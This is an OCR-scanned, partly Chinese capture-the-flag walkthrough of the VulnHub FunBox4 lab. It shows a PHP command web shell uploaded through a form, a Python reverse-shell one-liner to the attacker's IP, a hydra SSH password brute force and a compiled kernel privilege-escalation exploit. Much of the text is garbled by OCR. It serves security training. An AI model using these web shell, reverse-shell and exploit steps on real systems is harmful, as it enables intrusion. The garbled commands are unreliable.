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Description

Groundhog Day: Boot2Root !

Initial footstep is a bit flowed, but really not difficult.

After getting access to Funbox: CTF, its nessesarry to find, read and understand the (2 and easy to find) hints.
Be smart and combine...

Hints: Nikto scans “case sensitive” and you need a minimum of 15 mins to get user !

If you need hints, call me on twitter: @0815R2d2

Have fun...

This works better with VirtualBox rather than VMware

This works better with VirtualBox rather than VMware
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2.1.1 BN MKalifs #TH#E
JH—. arp-scan-eth0- (3EEMEH)
arp-scan -I ethe -1

#& kali arp-scan -I etho -1

Interface: eth®, type: EN1OMB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
HO281I6 BNONY. 08:00:27:c7:72:ce PCS Systemtechnik GmbH

192.168.9.43 08:00:27:95:e3:7b PCS Systemtechnik GmbH

2 packets received by filter, @ packets dropped by kernel

Ending arp-scan 1.9.7: 256 hosts scanned in 1.936 seconds (132.23 hosts/sec). 2 responded
M kali

Tk =+ masscan H#KIME -p A#m O S
masscan 192.168.184.0/24 -p 80,22
J7¥:=. netdiscover -i M -r B Bt
netdiscover -i ethe -r 192.168.184.0/24
HEN. FRM7E
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#& kali nmap -A -sV -T4 -p- 192.168.9.43
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-15 10:48 CST
Nmap scan report for bogon (192.168.9.43)
Host is up (0.00036s latency).
Not shown: 65531 closed tcp ports (reset)
STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:

2048 f6:b3:8f:fl:e3:b7:6c:18:ee:31:22:d3:d4:c9:5f:e6 (RSA)

256 45:c2:16:fc:3e:a9:fc:32:fc:36:fb:d7:ce:4f:2b:fe (ECDSA)

256 4f:18:46:72:22:9f:d3:10:51:9¢:49:€0:76:5f:25:33 (ED25519)
80/tcp open http Apache httpd 2.4.18 (( )))
_http-title: Apache2 Ubuntu Default Page: It works
_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
_pop3-capabilities: RESP-CODES TOP PIPELINING UIDL SASL CAPA AUTH-RESP-CODE
143/tcp open imap Dovecot imapd
_imap-capabilities: Pre-login IDLE more listed SASL-IR IMAP4revl LOGINDISABLEDA@@O1 capabilities LITERAL+ ENABL|
E post-login ID OK LOGIN-REFERRALS have
MAC Address: ©08:00:27:95:E3:7B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|[4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.9
Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS

il 0.36 ms bogon (192.168.9.43)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds

TFRT — T H

22—ssh—OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80—http—Apache httpd 2.4.18 ((Ubuntu))

110—pop3—Dovecot pop3d

143—pop3—Dovecot imapd
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Apache2 Ubuntu Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after installation on
Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is
derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly.
You should replace this file (located at /var /www/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site
is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several
files optimized for interaction with Ubuntu tools. The configuration system is fully documented in /usr/share
/doc/apache2/README.Debian.gz. Refer to this for the full documentation. Documentation for the web server
itself can be found by accessing the manual if the apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/

[-- apache2.conf

/ -~ ports.conf
[-- mods-enabled

/ [-- *.load

/ -~ *.conf

[-- conf-enabled

/ -- *.conf

|- citec_snahlad

BEERE, BHARA

BHH—THX

gobuster dir -u http://192.168.9.43/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirb/common.txt




by 0J Reeves (@TheColonial) Christian Mehlmauer (@firefart)

Url: http://192.168.9.43/

Method: GET

Threads: 10

Wordlist: /usr/share/wordlists/dirb/common.txt
Negative Status codes: 404

User Agent: gobuster/3.1.0

Extensions: txt,php,html, zip, bak

Timeout: 10s

10:55:58 Starting gobuster in directory enumeration mode

(Status: 403) [Size:

.hta.bak (Status: 403) [Size:
.hta (Status: 403) [Size:
.htaccess (Status: 403) [Size:
.hta.txt (Status: 403) [Size:
.htaccess.html (Status: 403) [Size:
.htpasswd (Status: 403) [Size:
.hta.php (Status: 403) [Size:
.htaccess.zip (Status: 403) [Size:
.htpasswd.zip (Status: 403) [Size:
.htaccess.bak (Status: 4@3) [Size:
.hta.html (Status: 403) [Size:
.htaccess.txt (Status: 403) [Size:
.htpasswd.bak (Status: 4@3) [Size:
.htaccess.php (Status: 4@3) [Size:
.htpasswd.txt (Status: 403) [Size:
.htpasswd.php (Status: 4@3) [Size:
.htpasswd.html (Status: 4@3) [Size:
(Status: 200) [Size:

(Status: 200) [Size:

/server-status (Status: 403) [Size:

2022/03/15 10:56:00 Finished

& kali
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& kali gobuster dir -u http://192.168.9.43/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirb/big.
txt

Gobuster v3.1.0
by 0J Reeves (@TheColonial) Christian Mehlmauer (@firefart)

Url: http://192.168.9.43/

Method: GET

Threads: 10

Wordlist: /usr/share/wordlists/dirb/big.txt
Negative Status codes: 404

User Agent: gobuster/3.1.0

Extensions: txt,php,html, zip, bak

Timeout: 10s

11:03:52 Starting gobuster in directory enumeration mode

.htpasswd (Status: 403) [Size:
.htaccess. (Status: 403) [Size:
.htpasswd. (Status: 403) [Size:
.htaccess. (Status: 403) [Size:
.htpasswd.zi (Status: 403) [Size:
.htaccess. (Status: 403) [Size:
.htpasswd. (Status: 403) [Size:
.htpasswd. (Status: 403) [Size:
.htaccess (Status: 403) [Size:
.htpasswd.php (Status: 403) [Size:
.htaccess.html (Status: 403) [Size:
.htaccess.zip (Status: 403) [
/index.html (Status: 200) [Size:
/server-status (Status: 403) [

Size:

Size:

2022/03/15 11:04:00 Finished

& kali

ZRARNEHEA—T

Extensions: html, php, txt, bak, zip HTTP method: GET Threads: 30 Wordlist size: 31784
Output File: /root/.dirsearch/reports/192.168.9.43/- 22-03-15 11-10-21.txt

Error Log: /root/.dirsearch/logs/errors-22-03-15 11-10-21.1log

Target: http://192.168.9.43/

[11:10:21] Starting:
[11:11:11] 200 - 273B - /ROBOTS.TXT

YilH): http:/192.168.9.43/ROBOTS. TXT




Disallow: upload/

PilH: http:/192.168.9.43/upload/

Not Found

The requested URL /upload/ was not found on this server.

Apache/2.4.18 (Ubuntu) Server at 192.168.9.43 Port 80

Vilal: view-source:http:/192.168.9.43/ROBOTS. TXT

THRH

Disallow: igmseklhgmrjmtherij2145236

ARYE DL P4 — T urliki

Pilal: http://192.168.9.43/upload/igmseklhgmrjmtherij2145236
SR TIE YT I

Jill: http://192.168.9.43/igmseklhgmrjmtherij2145236/upload/
SR TCIEYT I
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Extensions: html, php, txt, bak, zip HTTP method: GET Threads: 30 Wordlist size: 31784
Output File: /root/.dirsearch/reports/192.168.9.43/-upload_22-03-15_11-27-07.txt

Error Log: /root/.dirsearch/logs/errors-22-03-15 11-27-07.log

Target: http://192.168.9.43/upload/

[11:27:07] Starting:

Task Completed

#& kali dirsearch -u http://192.168.9.43/igmseklhgmrjmtherij2145236 -e html,php,txt,bak,zip -w /usr/share/word

Extensions: html, php, txt, bak, zip | HTTP method: GET | Threads: 30 | Wordlist size: 31784
Output File: /root/.dirsearch/reports/192.168.9.43/-igmseklhgmrjmtherij2145236_22-03-15_11-25-26.txt
Error Log: /root/.dirsearch/logs/errors-22-03-15 11-25-26.log
Target: http://192.168.9.43/igmseklhgmrjmtherij2145236/
:25:26] Starting:
:26:31] 200 - 297B /igmseklhgmrjmtherij2145236/upload.html
:26:31] 200 - 319B /igmseklhgmrjmtherij2145236/upload.php
:26:31] 403 - 321B /igmseklhgmrjmtherij2145236/upload/
:26:31] 301 3408 /igmseklhgmrjmtherij2145236/upload - http://192.168.9.43/igmseklhgmrjmtherij2145236

/upload/

Task Completed

J%;é LI I ]

Yilal: http://192.168.9.43/igmseklhgmrimtherij2145236/upload.php




Upload your time sheet, please:

M. | FEEL
Upload

F#Eshell.php, EAERTH

echo "Shell";system( [femd']);

Vilal: http://192.168.9.43/igmseklhgmrjmtherij2145236/upload/shell.php

MR —TFar4$4T: hitp://192.168.9.43/igmseklhgmrjmtherij2145236/upload/shell.php?cmd=whoami

Shellwww-data

AHFFEncliPr: nc -lvp 443

BE £ B A python, 5 H pythonz #shell

which python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.
7",443));0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")"




A IhZE Fshell

kali nc -lvp 443
listening on [any] 443
Warning: forward host lookup failed for bogon: Host name lookup failure : Resource temporarily unavailable
connect to [192.168.9.7] from bogon [192.168.9.43] 47380
vy -datadfunboxs : /var/www/html/igmseklhgmr jmtherij2145236/upload$

www-data@funbox4: /var/www/html/igmseklhgmrjmtherij2145236/upload$ id
id
33 (www-data) 33 (www-data) 33 (www-data)
www-data@funbox4: /var/www/html/igmseklhgmrjmtherij2145236/upload$ 1ls -al /home
tml/igmseklhgmrjmtherij2145236/upload$ 1ls -al /home
total 16
drwxr-xr-x 4 root root 4096 Aug 29 2020 .
root 4096 Mar 14 08:40 ..
anna 4096 Aug 30 2020 anna
drwxr-xr-x 4 thomas thomas 4096 Aug 30 2020 thomas
www-data@funbox4: /var/www/html/igmseklhgmrjmtherij2145236/upload$ cd /home/anna
tml/igmseklhgmrjmtherij2145236/upload$ cd /home/anna
bash: cd: /home/anna: Permission denied
www-data@funbox4: /var/www/html/igmseklhgmrjmtherij2145236/upload$ cd /home/thomas
tml/igmseklhgmrjmtherij2145236/upload$ cd /home/thomas
www-data@funbox4: /home/thomas$ 1ls -al

thomas thomas 4096 Aug 30 2020 .
root root 4096 Aug 29 2020 ..
thomas thomas 46 Aug 30 2020 .bash_history
thomas thomas 220 Aug 29 2020 .bash_logout
thomas thomas 3771 Aug 29 2020 .bashrc
thomas thomas 4096 Aug 29 2020 .cache
thomas thomas 675 Aug 29 2020 .profile
thomas thomas 4096 Aug 30 2020 .ssh
thomas thomas 195 Aug 29 2020 .todo
thomas thomas 1304 Aug 30 2020 .viminfo
thomas thomas 217 Aug 30 2020 .wget-hsts
thomas thomas 3078592 Aug 22 2019 pspy64
www-data@funbox4:/home/thomas$ cat .bash_history
cat .bash_history
cat: .bash_history: Permission denied
www -data@funbox4: /home/thomas$ ./pspy64
./pspy64
bash: ./pspy64: Permission denied
www-data@funbox4:/home/thomas$ cat .viminfo
cat .viminfo
cat: .viminfo: Permission denied
www-data@funbox4:/home/thomas$ cat .todo
cat .todo
make coffee
check backup
buy ram

check my mails

1.
2
3
4. call simone
5
6

call lucas




7. add an exclamation mark to my passwords

100. learn to read emails without a gui-client

www-data@funbox4: /home/thomas$ cat .wget-hsts

cat .wget-hsts

# HSTS 1.0 Known Hosts database for GNU Wget.

# Edit at your own risk.

# <hostname>[ :<port>] <incl. subdomains> <created> <max-age>
raw.githubusercontent.com (%] (%] 1598788938 31536000
github.com 0 1 1598788977 31536000
www-data@funbox4: /home/thomas$

HWiRES =iE FRs =E v < Bz (TEHA) =ig =} v
1. make coffee X 1.20mH
2. check backup 2 EED
3. buy ram 3LANTF
4. call simone AFTERREATOR
5. check my mails 5. F AR
6. call lucas 6. FTERIRES A=A
7. add an exclamation mark to my passwords 7 AR INEN S
1 7hii kafai

ERERRRP RN, BHERERBRNS
R A b i e RIS B S R SR B SR

cat /usr/share/wordlists/rockyou.txt | sed 's/$/!/g' > wordlist

{f Flhydra#t 47 8% hydra -1 thomas -P wordlist ssh://192.168.9.43 -t 4

#& FunBox4 hydra -1 thomas -P wordlist ssh://192.168.9.43 -t 4
Hydra v9.3 (c) 2022 by van Hauser/THC David Maciejak - Please do not use in military or secret service organiz
ations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-63-15 15:15:32

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344876 login tries (1:1/p:14344876), ~3586219 tries per task
[DATA] attacking ssh://192.168.9.43:22/

[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344832 to do in 5433:39h, 4 active

[STATUS] 34.33 tries/min, 103 tries in 00:03h, 14344773 to do in 6963:29h, 4 active

[STATUS] 29.14 tries/min, 204 tries in 00:07h, 14344672 to do in 8203:40h, 4 active

[STATUS] 29.60 tries/min, 444 tries in 00:15h, 14344432 to do in 8076:50h, 4 active

[22][ssh] host: 192.168.9.43 login: thomas password: thebest
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-15 15:45:05

BIhIREUK 535 :  thomas/thebest!
B WtiSSH: ssh thomas@192.168.9.43



#d& FunBox4 ssh thomas@192.168.9.43

The authenticity of host '192.168.9.43 (192.168.9.43)' can't be established.
ED25519 key fingerprint is SHA256:1eXWAQi41mdgTrDRpUSczEhI1C3wU4nrwaFkbOthtHe.
This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.43' (ED25519) to the list of known hosts.
thomas@192.168.9.43"'s password:

Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-21-generic x86_64)

* Documentation: https://help.ubuntu.com/
133 packages can be updated.

5 updates are security updates.

*** System restart required ***
Last login: Sun Aug 30 14:55:47 2020 from 192.168.178.143
thomas@funbox4:~$

BRI G L

BT BARHLER A wgetdn &, BT AE A8 Fl scp iy & 3% LS

#d& FunBox4 scp linpeas.sh thomas@192.168.9.43:/tmp/
‘thomas@192.168.9.43"'s password:
linpeas.sh 100% 745KB 27.2MB/s  ©0:00

BHBR, BTERF, BARR2XE HENBURE

‘thomas@funbox4:~$ 1s /tmp/

linpeas.sh systemd-private-1495159d9cfc44648ffa307alcfa546a-dovecot.service-1WW9s3 systemd-private-1495159d9cH]
c44648ffa307alcfa546a-systemd-timesyncd.service-Pe6Ngd

‘thomas@funbox4:~$ chmod 777 /tmp/linpeas.sh

‘thomas@funbox4:~$ 1s -al /tmp/linpeas.sh

-rwxrwxrwx 1 thomas thomas 762836 Mar 14 12:38 /tmp/linpeas.sh

‘thomas@funbox4:~$

System Information
Operative system
Linux version [ EFFELIlIeld (builddalgwel-21) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016
Distributor ID: Ubuntu
Description: Ubuntu 16.84 LTS
Release: 16.04
Codename: xenial
Sudo version
Sudo version
ulnerable to CVE-2021-403
/tmp/linpeas.sh: line 1189: rpm: command not found

PATH

fusr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

2.4.2 BUR 3R T
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M FunBox4 scp linux-exploit-suggester.sh thomas@192.168.9.43:/tmp/
thomas@192.168.9.43"'s password:
linux-exploit-suggester.sh
100% 87KB 55.8MB/s 00:00
& FunBox4

thomas@funbox4:~$ chmod 777 /tmp/linux-exploit-suggester.sh
thomas@funbox4:~$ bash /tmp/linux-exploit-suggester.sh

Available information:

Kernel version: 4.4.0

Architecture: x86_64

Distribution: ubuntu

Distribution version: 16.04

Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current 0S

Searching among:

78 kernel space exploits
49 user space exploits

Possible Exploits:

[+] [CVE-2016-5195] dirtycow 2

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

Exposure: highly probable

Tags: 7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic}, [

.0-21-generic} |

Download URL: https://www.exploit-db.com/download/40839

ext-url: https://www.exploit-db.com/download/40847

Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/n
h-cve-2016-5195_5.sh

[+] [CVE-2017-16995] eBPF_verifier

Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html

Exposure: highly probable

Tags: 9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic}, [ (16.04
17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}

Download URL: https://www.exploit-db.com/download/45010

Comments: CONFIG_BPF_SYSCALL needs to be set kernel.unprivileged bpf_disabled

[+] [CVE-2016-8655] chocobo_root
Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
Exposure: highly probable
Tags: [ (14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
Download URL: https://www.exploit-db.com/download/40871
Comments: CAP_NET_RAW capability is needed OR y needs to be enabled

[+] [CVE-2016-5195] dirtycow

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

Exposure: highly probable




7{kernel:3.10.0-*|4.2.0-0.21.el7},| 16.04|14.04|12.04 ]

Download URL: https://www.exploit-db.com/download/40611

Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/n
h-cve-2016-5195 5.sh

[+] [CVE-2016-4557] double-fdput()

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

Exposure: highly probable

Tags: [ 16.04{kernel:4.4.0-21-generic} |

Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772
.zip

Comments: CONFIG_BPF_SYSCALL needs to be set kernel.unprivileged_bpf_disabled

[+] [CVE-2021-4034] PwnKit

Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

Exposure: probable

Tags: [ 10|11(12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable

Tags: 6|7|8,[ 14|16|17|18|19|20 ], 9|10

Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2017-7308] af_packet

Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html

Exposure: probable

Tags: [ 16.04 ]{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c

ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c

Comments: CAP_NET_RAW cap or y needed. Modified version at ‘ext-url' adds support for addition
al kernels

[+] [CVE-2017-6074] dccp

Details: http://www.openwall.com/lists/oss-security/2017/02/22/3

Exposure: probable

Tags: [ (14.04|16.04) ]{kernel:4.4.0-62-generic}

Download URL: https://www.exploit-db.com/download/41458

Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2017-1000112] NETIF_F_UFO

Details: http://www.openwall.com/lists/oss-security/2017/08/13/1

Exposure: probable

Tags: 14.04{kernel:4.4.0-*},[ 16.04 ]{kernel:4.8.0-*}

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c

ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c

Comments: CAP_NET_ADMIN cap or y needed. SMEP/KASLR bypass included. Modified version at 'ext-
url' adds support for additional distros/kernels

[+] [CVE-2021-3156] sudo Baron Samedit

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt




Exposure: less probable
Tags: 19,ubuntu=18|20, 10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html

Exposure: less probable

Tags: 20.04{kernel:5.8.0-*}

Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exp|
loit.c

ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c

Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-18634] sudo pwfeedback

Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/

Exposure: less probable

Tags: 19

Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc

Exposure: less probable

Download URL:

Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2018-1000001] Rationallove

Details: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/

Exposure: less probable

Tags: 9{1ibc6:2.24-11+deb9ul},ubuntu=16.04.3{1ibc6:2.23-0Qubuntu9}

Download URL: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/Rationallove.c
Comments: kernel.unprivileged userns_clone=1 required

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

Details: https://seclists.org/oss-sec/2017/ql1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154

[+] [CVE-2017-1000366,CVE-2017-1000379] linux_ldso_hwcap_64

Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt

Exposure: less probable

Tags: 7.7|8.5|9.0,ubuntu=14.04.2|16.04.2|17.04,fedora=22|25,centos=7.3.1611
Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap_64.c
Comments: Uses "Stack Clash" technique, works against most SUID-root binaries

[+] [CVE-2017-1000253] PIE_stack_corruption
Details: https://www.qualys.com/2017/09/26/1linux-pie-cve-2017-1000253/cve-2017-1000253.txt
Exposure: less probable
Tags: 6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1}

Download URL: https://www.qualys.com/2017/09/26/1inux-pie-cve-2017-1000253/cve-2017-1000253.c

[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE




Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793

Exposure: less probable

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c

Comments: CAP_NET_ADMIN caps OR y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU o
nly

[+] [CVE-2016-2384] usb-midi

Details: https://xairy.github.io/blog/2016/cve-2016-2384

Exposure: less probable

Tags: 14.04,fedora=22

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c

Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privi
leged user

[+] [CVE-2016-0728] keyring

Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-
2016-0728/

Exposure: less probable

Download URL: https://www.exploit-db.com/download/40003

Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cy
e-2016-0728-poc-not-working

‘thomas@funbox4:~$

R TREZIWE, EFE—NRARA(Ubuntu 16.04). WIZRRA(4.4.0)— K
AR

#d& FunBox4 searchsploit -m 45010
Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
: https://www.exploit-db.com/exploits/45010
: /usr/share/exploitdb/exploits/linux/local/45010.c
: C source, ASCITI text

: /home/kali/vulnhub/FunBox/FunBox4/45010.c

FABRCES XM, B RANESE, FUAMEFEZR—T, REHENLLERT

#& FunBox4 gcc 45010.c -o exp
#& FunBox4 scp exp thomas@192.168.9.43:/tmp/
thomas@192.168.9.43"'s password:
exp

100% 21KB 22.6MB/s 00:00
& FunBox4

1E B AR RAPAT (B HysshB it 2 i shell&rbash, B R, BT DATE R #shel RIATIRF):




www-data@funbox4: /tmp$ ./exp
./exp

t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)

** This vulnerability cannot be exploited at all on authentic grsecurity kernel **

E

creating bpf map

*

sneaking evil bpf past the verifier

*

creating socketpair()

attaching bpf backdoor to socket

skbuff fff{88003baee900

Leaking sock struct from ffff88000f2c2780
Sock->sk_rcvtimeo at offset 472

Cred structure at ffff880008cb6540

UID from cred structure: 33, matches the current: 33
hammering cred structure at ffff880008cb6540
credentials patched, launching shell...

* * * * * *

— e b e b ] e b e d e b ] e ]

*

[
[
[
[
[
[
[
[
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[
[
[
[
[
[
[
i

BINIRAUS, REF flag. txt

9(root) 0(root),33(www-data)
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/(AN (O Q)

Well done ! Made with & by @0815R2d2 I look forward to see this screenshot on twitter ;-)
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linux-exploit-suggester.sh linpeas.sh
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